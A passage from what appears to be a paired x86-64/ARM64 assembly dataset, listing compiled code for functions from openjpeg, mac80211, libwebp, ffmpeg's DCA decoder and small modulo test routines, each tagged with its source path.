ldr x9, [x9, _EVT_WARNING@GOTPAGEOFF]
Lloh48:
ldr w1, [x9]
str x8, [sp]
Lloh49:
adrp x2, l_.str.9@PAGE
Lloh50:
add x2, x2, l_.str.9@PAGEOFF
mov x0, x19
bl _opj_event_msg
Lloh51:
adrp x8, _OPJ_TRUE@GOTPAGE
Lloh52:
ldr x8, [x8, _OPJ_TRUE@GOTPAGEOFF]
Lloh53:
ldr w19, [x8]
cmp x21, #3
b.hi LBB0_64
; %bb.63:
mov x8, #0 ; =0x0
b LBB0_67
LBB0_64:
mov x9, #0 ; =0x0
and x8, x21, #0xfffffffffffffffc
add x10, x28, #28
mov w11, #1 ; =0x1
LBB0_65: ; =>This Inner Loop Header: Depth=1
add w12, w9, #1
add w13, w9, #2
add w14, w9, #3
stp w11, w9, [x10, #-24]
stp w11, w12, [x10, #-12]
stp w11, w13, [x10]
add x9, x9, #4
stp w11, w14, [x10, #12]
add x10, x10, #48
cmp x8, x9
b.ne LBB0_65
; %bb.66:
cmp x21, x8
b.eq LBB0_69
LBB0_67:
mov w9, #12 ; =0xc
madd x9, x8, x9, x28
add x9, x9, #8
mov w10, #1 ; =0x1
LBB0_68: ; =>This Inner Loop Header: Depth=1
stp w10, w8, [x9, #-4]
add x8, x8, #1
add x9, x9, #12
cmp x21, x8
b.ne LBB0_68
LBB0_69:
mov x0, x22
bl _opj_free
cbnz w19, LBB0_56
b LBB0_43
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpAdd Lloh17, Lloh18
.loh AdrpAdd Lloh19, Lloh20
.loh AdrpAdd Lloh21, Lloh22
.loh AdrpAdd Lloh23, Lloh24
.loh AdrpAdd Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.loh AdrpAdd Lloh33, Lloh34
.loh AdrpLdrGot Lloh35, Lloh36
.loh AdrpAdd Lloh37, Lloh38
.loh AdrpLdrGot Lloh39, Lloh40
.loh AdrpAdd Lloh44, Lloh45
.loh AdrpLdrGotLdr Lloh41, Lloh42, Lloh43
.loh AdrpLdrGotLdr Lloh51, Lloh52, Lloh53
.loh AdrpAdd Lloh49, Lloh50
.loh AdrpLdrGotLdr Lloh46, Lloh47, Lloh48
.cfi_endproc
; -- End function
.comm _EVT_ERROR,4,2 ; @EVT_ERROR
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Invalid component index %d (>= %d).\n"
.comm _OPJ_FALSE,4,2 ; @OPJ_FALSE
l_.str.1: ; @.str.1
.asciz "Incomplete channel definitions.\n"
.comm _OPJ_TRUE,4,2 ; @OPJ_TRUE
l_.str.2: ; @.str.2
.asciz "Unexpected OOM.\n"
l_.str.3: ; @.str.3
.asciz "Invalid value for cmap[%d].mtyp = %d.\n"
l_.str.4: ; @.str.4
.asciz "Invalid component/palette index for direct mapping %d.\n"
l_.str.5: ; @.str.5
.asciz "Component %d is mapped twice.\n"
l_.str.6: ; @.str.6
.asciz "Direct use at #%d however pcol=%d.\n"
l_.str.7: ; @.str.7
.asciz "Implementation limitation: for palette mapping, pcol[%d] should be equal to %d, but is equal to %d.\n"
l_.str.8: ; @.str.8
.asciz "Component %d doesn't have a mapping.\n"
.comm _EVT_WARNING,4,2 ; @EVT_WARNING
l_.str.9: ; @.str.9
.asciz "Component mapping seems wrong. Trying to correct.\n"
.no_dead_strip _opj_jp2_check_color
.subsections_via_symbols
| assembly_file_5559.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ieee80211_beacon_add_tim
_ieee80211_beacon_add_tim: ## @ieee80211_beacon_add_tim
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rsi, %r15
movq %rdi, %rbx
movq (%rdi), %r12
cmpq $0, 8(%r12)
je LBB0_2
## %bb.1:
movq %rbx, %rdi
movq %r15, %rsi
movq %r14, %rdx
callq ___ieee80211_beacon_add_tim
jmp LBB0_3
LBB0_2:
movq %r12, %rdi
callq _spin_lock_bh
movq %rbx, %rdi
movq %r15, %rsi
movq %r14, %rdx
callq ___ieee80211_beacon_add_tim
movq %r12, %rdi
callq _spin_unlock_bh
LBB0_3:
xorl %eax, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _ieee80211_beacon_add_tim
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ieee80211_beacon_add_tim
_ieee80211_beacon_add_tim: ; @ieee80211_beacon_add_tim
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
mov x22, x0
ldr x21, [x0]
ldr x8, [x21, #8]
cbz x8, LBB0_2
; %bb.1:
mov x0, x22
mov x1, x20
mov x2, x19
bl ___ieee80211_beacon_add_tim
b LBB0_3
LBB0_2:
mov x0, x21
bl _spin_lock_bh
mov x0, x22
mov x1, x20
mov x2, x19
bl ___ieee80211_beacon_add_tim
mov x0, x21
bl _spin_unlock_bh
LBB0_3:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.no_dead_strip _ieee80211_beacon_add_tim
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/net/mac80211/extr_tx.c_ieee80211_beacon_add_tim.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function GetHistoBinIndex
_GetHistoBinIndex: ## @GetHistoBinIndex
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, %r12d
movq %rsi, %r15
movq %rdi, %r14
movl 16(%rsi), %esi
movl 20(%r15), %edi
movl 8(%r14), %edx
callq _GetBinIdForEntropy
movl %eax, %ebx
movq _NUM_PARTITIONS@GOTPCREL(%rip), %r13
xorl %edi, %edi
cmpl (%r13), %eax
setl %dil
callq _assert
testl %r12d, %r12d
jne LBB0_2
## %bb.1:
movl (%r13), %r13d
imull %ebx, %r13d
movl 8(%r15), %esi
movl 12(%r15), %edi
movl 4(%r14), %edx
callq _GetBinIdForEntropy
movl %eax, %r12d
addl %r13d, %r12d
movq _NUM_PARTITIONS@GOTPCREL(%rip), %rax
imull (%rax), %r12d
movl (%r15), %esi
movl 4(%r15), %edi
movl (%r14), %edx
callq _GetBinIdForEntropy
movl %eax, %ebx
addl %r12d, %ebx
movq _BIN_SIZE@GOTPCREL(%rip), %rax
xorl %edi, %edi
cmpl (%rax), %ebx
setl %dil
callq _assert
LBB0_2:
movl %ebx, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _NUM_PARTITIONS,4,2 ## @NUM_PARTITIONS
.comm _BIN_SIZE,4,2 ## @BIN_SIZE
.no_dead_strip _GetHistoBinIndex
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function GetHistoBinIndex
_GetHistoBinIndex: ; @GetHistoBinIndex
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x22, x2
mov x20, x1
mov x19, x0
ldp w1, w0, [x1, #16]
ldr w2, [x19, #8]
bl _GetBinIdForEntropy
mov x21, x0
Lloh0:
adrp x23, _NUM_PARTITIONS@GOTPAGE
Lloh1:
ldr x23, [x23, _NUM_PARTITIONS@GOTPAGEOFF]
ldr w8, [x23]
cmp w0, w8
cset w0, lt
bl _assert
cbnz w22, LBB0_2
; %bb.1:
ldr w22, [x23]
ldp w1, w0, [x20, #8]
ldr w2, [x19, #4]
bl _GetBinIdForEntropy
madd w21, w22, w21, w0
ldr w22, [x23]
ldp w1, w0, [x20]
ldr w2, [x19]
bl _GetBinIdForEntropy
madd w21, w21, w22, w0
Lloh2:
adrp x8, _BIN_SIZE@GOTPAGE
Lloh3:
ldr x8, [x8, _BIN_SIZE@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
cmp w21, w8
cset w0, lt
bl _assert
LBB0_2:
mov x0, x21
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.cfi_endproc
; -- End function
.comm _NUM_PARTITIONS,4,2 ; @NUM_PARTITIONS
.comm _BIN_SIZE,4,2 ; @BIN_SIZE
.no_dead_strip _GetHistoBinIndex
.subsections_via_symbols
| AnghaBench/sumatrapdf/ext/libwebp/src/enc/extr_histogram_enc.c_GetHistoBinIndex.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f1 ## -- Begin function f1
.p2align 4, 0x90
_f1: ## @f1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f2 ## -- Begin function f2
.p2align 4, 0x90
_f2: ## @f2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f3 ## -- Begin function f3
.p2align 4, 0x90
_f3: ## @f3
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f4 ## -- Begin function f4
.p2align 4, 0x90
_f4: ## @f4
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f5 ## -- Begin function f5
.p2align 4, 0x90
_f5: ## @f5
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f6 ## -- Begin function f6
.p2align 4, 0x90
_f6: ## @f6
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f7 ## -- Begin function f7
.p2align 4, 0x90
_f7: ## @f7
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f8 ## -- Begin function f8
.p2align 4, 0x90
_f8: ## @f8
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f9 ## -- Begin function f9
.p2align 4, 0x90
_f9: ## @f9
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
andl $-5, %esi
negl %esi
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f10 ## -- Begin function f10
.p2align 4, 0x90
_f10: ## @f10
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $34, %eax
cmpl $-2147483648, %edi ## imm = 0x80000000
je LBB9_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB9_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f11 ## -- Begin function f11
.p2align 4, 0x90
_f11: ## @f11
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $34, %eax
cmpl $-2147483648, %edi ## imm = 0x80000000
je LBB10_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB10_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f12 ## -- Begin function f12
.p2align 4, 0x90
_f12: ## @f12
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
cmpl $-1, %esi
je LBB11_1
## %bb.2:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
LBB11_1:
movl $34, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f13 ## -- Begin function f13
.p2align 4, 0x90
_f13: ## @f13
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
testl %esi, %esi
js LBB12_1
## %bb.2:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
popq %rbp
retq
LBB12_1:
movl $34, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f14 ## -- Begin function f14
.p2align 4, 0x90
_f14: ## @f14
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $34, %eax
cmpl $-2, %esi
jg LBB13_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB13_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f15 ## -- Begin function f15
.p2align 4, 0x90
_f15: ## @f15
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $34, %eax
cmpl $24, %esi
ja LBB14_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB14_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f16 ## -- Begin function f16
.p2align 4, 0x90
_f16: ## @f16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $esi killed $esi def $rsi
leal 16(%rsi), %ecx
movl $34, %eax
cmpl $14, %ecx
ja LBB15_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB15_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f17 ## -- Begin function f17
.p2align 4, 0x90
_f17: ## @f17
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $esi killed $esi def $rsi
leal -16(%rsi), %ecx
movl $34, %eax
cmpl $-30, %ecx
ja LBB16_2
## %bb.1:
negl %esi
movl %edi, %eax
cltd
idivl %esi
movl %edx, %eax
LBB16_2:
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f1 ; -- Begin function f1
.p2align 2
_f1: ; @f1
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f2 ; -- Begin function f2
.p2align 2
_f2: ; @f2
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f3 ; -- Begin function f3
.p2align 2
_f3: ; @f3
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f4 ; -- Begin function f4
.p2align 2
_f4: ; @f4
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f5 ; -- Begin function f5
.p2align 2
_f5: ; @f5
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f6 ; -- Begin function f6
.p2align 2
_f6: ; @f6
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f7 ; -- Begin function f7
.p2align 2
_f7: ; @f7
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f8 ; -- Begin function f8
.p2align 2
_f8: ; @f8
.cfi_startproc
; %bb.0:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f9 ; -- Begin function f9
.p2align 2
_f9: ; @f9
.cfi_startproc
; %bb.0:
and w8, w1, #0xfffffffb
neg w9, w8
sdiv w9, w0, w9
madd w0, w9, w8, w0
ret
.cfi_endproc
; -- End function
.globl _f10 ; -- Begin function f10
.p2align 2
_f10: ; @f10
.cfi_startproc
; %bb.0:
mov w8, #-2147483648
cmp w0, w8
b.ne LBB9_2
; %bb.1:
mov w0, #34
ret
LBB9_2:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f11 ; -- Begin function f11
.p2align 2
_f11: ; @f11
.cfi_startproc
; %bb.0:
mov w8, #-2147483648
cmp w0, w8
b.ne LBB10_2
; %bb.1:
mov w0, #34
ret
LBB10_2:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
.cfi_endproc
; -- End function
.globl _f12 ; -- Begin function f12
.p2align 2
_f12: ; @f12
.cfi_startproc
; %bb.0:
cmn w1, #1
b.eq LBB11_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB11_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.globl _f13 ; -- Begin function f13
.p2align 2
_f13: ; @f13
.cfi_startproc
; %bb.0:
tbnz w1, #31, LBB12_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB12_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.globl _f14 ; -- Begin function f14
.p2align 2
_f14: ; @f14
.cfi_startproc
; %bb.0:
cmn w1, #2
b.gt LBB13_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB13_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.globl _f15 ; -- Begin function f15
.p2align 2
_f15: ; @f15
.cfi_startproc
; %bb.0:
cmp w1, #24
b.hi LBB14_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB14_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.globl _f16 ; -- Begin function f16
.p2align 2
_f16: ; @f16
.cfi_startproc
; %bb.0:
add w8, w1, #16
cmp w8, #14
b.hi LBB15_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB15_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.globl _f17 ; -- Begin function f17
.p2align 2
_f17: ; @f17
.cfi_startproc
; %bb.0:
sub w8, w1, #16
cmn w8, #30
b.hi LBB16_2
; %bb.1:
neg w8, w1
sdiv w8, w0, w8
madd w0, w8, w1, w0
ret
LBB16_2:
mov w0, #34
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/29826364.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function filter_frame_fixed
_filter_frame_fixed: ## @filter_frame_fixed
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r14
movq %rdi, %r15
movq 144(%rdi), %rbx
movq 16(%rbx), %rax
movq _DCA_PACKET_XLL@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
testl %ecx, (%rax)
jne LBB0_2
## %bb.1:
movq %r15, %rdi
xorl %esi, %esi
callq _ff_dca_core_filter_fixed
testl %eax, %eax
js LBB0_41
LBB0_2:
movl 136(%r15), %eax
movl %eax, 12(%rbx)
movq _AV_SAMPLE_FMT_S32P@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 8(%rbx)
movl $24, (%rbx)
movl (%r15), %r12d
movl %r12d, (%r14)
movq %rbx, %rdi
movq %r14, %rsi
xorl %edx, %edx
callq _ff_get_buffer
testl %eax, %eax
js LBB0_41
## %bb.3:
movq %rbx, -72(%rbp) ## 8-byte Spill
movq %r14, -88(%rbp) ## 8-byte Spill
cmpq $0, 128(%r15)
movq %r15, %rbx
movq %r15, -48(%rbp) ## 8-byte Spill
je LBB0_7
## %bb.4:
movq _DCA_CSS_XCH@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, 4(%rbx)
je LBB0_7
## %bb.5:
movq 8(%rbx), %rax
movq _DCA_AMODE_2F2R@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jb LBB0_7
## %bb.6:
movq 16(%rbx), %rax
movq -48(%rbp), %rcx ## 8-byte Reload
movq 80(%rcx), %rbx
movq _DCA_SPEAKER_Ls@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq (%rax,%rcx,8), %rdi
movq _DCA_SPEAKER_Rs@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq (%rax,%rcx,8), %rsi
movq _DCA_SPEAKER_Cs@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq (%rax,%rcx,8), %rdx
movl %r12d, %ecx
callq *16(%rbx)
movq -48(%rbp), %rbx ## 8-byte Reload
LBB0_7:
movq _DCA_CSS_XXCH@GOTPCREL(%rip), %rcx
movq _DCA_EXSS_XXCH@GOTPCREL(%rip), %rax
movl (%rax), %eax
orl (%rcx), %eax
testl %eax, 4(%rbx)
je LBB0_24
## %bb.8:
cmpq $0, 120(%rbx)
je LBB0_24
## %bb.9:
movl 24(%rbx), %eax
movl %eax, -52(%rbp) ## 4-byte Spill
movq 32(%rbx), %r15
movq _ff_dca_channels@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq 8(%rbx), %rcx
movslq (%rax,%rcx,4), %rcx
movl 40(%rbx), %eax
movq %rcx, -64(%rbp) ## 8-byte Spill
subl %ecx, %eax
movq _DCA_XXCH_CHANNELS_MAX@GOTPCREL(%rip), %rcx
xorl %edi, %edi
cmpl (%rcx), %eax
setle %dil
callq _av_assert1
movl 44(%rbx), %eax
testl %eax, %eax
jle LBB0_14
## %bb.10:
xorl %ebx, %ebx
movq -48(%rbp), %r14 ## 8-byte Reload
jmp LBB0_11
.p2align 4, 0x90
LBB0_13: ## in Loop: Header=BB0_11 Depth=1
incq %rbx
movslq %eax, %rcx
cmpq %rcx, %rbx
jge LBB0_14
LBB0_11: ## =>This Inner Loop Header: Depth=1
movl 48(%r14), %ecx
btl %ebx, %ecx
jae LBB0_13
## %bb.12: ## in Loop: Header=BB0_11 Depth=1
movq 16(%r14), %rax
movq 80(%r14), %rcx
movq (%rax,%rbx,8), %rdi
movl -52(%rbp), %esi ## 4-byte Reload
movl %r12d, %edx
callq *8(%rcx)
movl 44(%r14), %eax
jmp LBB0_13
LBB0_14:
movq -48(%rbp), %rbx ## 8-byte Reload
movq -64(%rbp), %rax ## 8-byte Reload
cmpl 40(%rbx), %eax
jge LBB0_24
## %bb.15:
movq -64(%rbp), %r14 ## 8-byte Reload
jmp LBB0_17
.p2align 4, 0x90
LBB0_16: ## in Loop: Header=BB0_17 Depth=1
movq -80(%rbp), %r14 ## 8-byte Reload
incq %r14
movslq 40(%rbx), %rax
cmpq %rax, %r14
jge LBB0_24
LBB0_17: ## =>This Loop Header: Depth=1
## Child Loop BB0_20 Depth 2
movq %rbx, %rdi
movl %r14d, %esi
callq _map_prm_ch_to_spkr
testl %eax, %eax
js LBB0_42
## %bb.18: ## in Loop: Header=BB0_17 Depth=1
cmpl $0, 44(%rbx)
movq %r14, -80(%rbp) ## 8-byte Spill
jle LBB0_16
## %bb.19: ## in Loop: Header=BB0_17 Depth=1
subq -64(%rbp), %r14 ## 8-byte Folded Reload
movl %eax, %eax
movq %rax, -96(%rbp) ## 8-byte Spill
xorl %r13d, %r13d
jmp LBB0_20
.p2align 4, 0x90
LBB0_23: ## in Loop: Header=BB0_20 Depth=2
incq %r13
movslq 44(%rbx), %rax
cmpq %rax, %r13
jge LBB0_16
LBB0_20: ## Parent Loop BB0_17 Depth=1
## => This Inner Loop Header: Depth=2
movq 56(%rbx), %rax
movl (%rax,%r14,4), %eax
btl %r13d, %eax
jae LBB0_23
## %bb.21: ## in Loop: Header=BB0_20 Depth=2
movl (%r15), %edi
addq $4, %r15
movl -52(%rbp), %esi ## 4-byte Reload
callq _mul16
testl %eax, %eax
je LBB0_23
## %bb.22: ## in Loop: Header=BB0_20 Depth=2
movq 16(%rbx), %rcx
movq -48(%rbp), %rdx ## 8-byte Reload
movq 80(%rdx), %rbx
movq (%rcx,%r13,8), %rdi
movq -96(%rbp), %rdx ## 8-byte Reload
movq (%rcx,%rdx,8), %rsi
movl %eax, %edx
movl %r12d, %ecx
callq *(%rbx)
movq -48(%rbp), %rbx ## 8-byte Reload
jmp LBB0_23
LBB0_24:
movq _DCA_CSS_XCH@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _DCA_CSS_XXCH@GOTPCREL(%rip), %rcx
orl (%rcx), %eax
movq _DCA_EXSS_XXCH@GOTPCREL(%rip), %rcx
orl (%rcx), %eax
testl %eax, 4(%rbx)
movq -72(%rbp), %r14 ## 8-byte Reload
je LBB0_25
LBB0_31:
movl 72(%rbx), %r8d
cmpl %r8d, 88(%rbx)
je LBB0_33
## %bb.32:
movq 80(%rbx), %rdi
movq 16(%rbx), %rsi
movl 76(%rbx), %edx
movl %r12d, %ecx
callq _ff_dca_downmix_to_stereo_fixed
LBB0_33:
movl 4(%r14), %eax
testl %eax, %eax
jle LBB0_40
## %bb.34:
xorl %r14d, %r14d
jmp LBB0_35
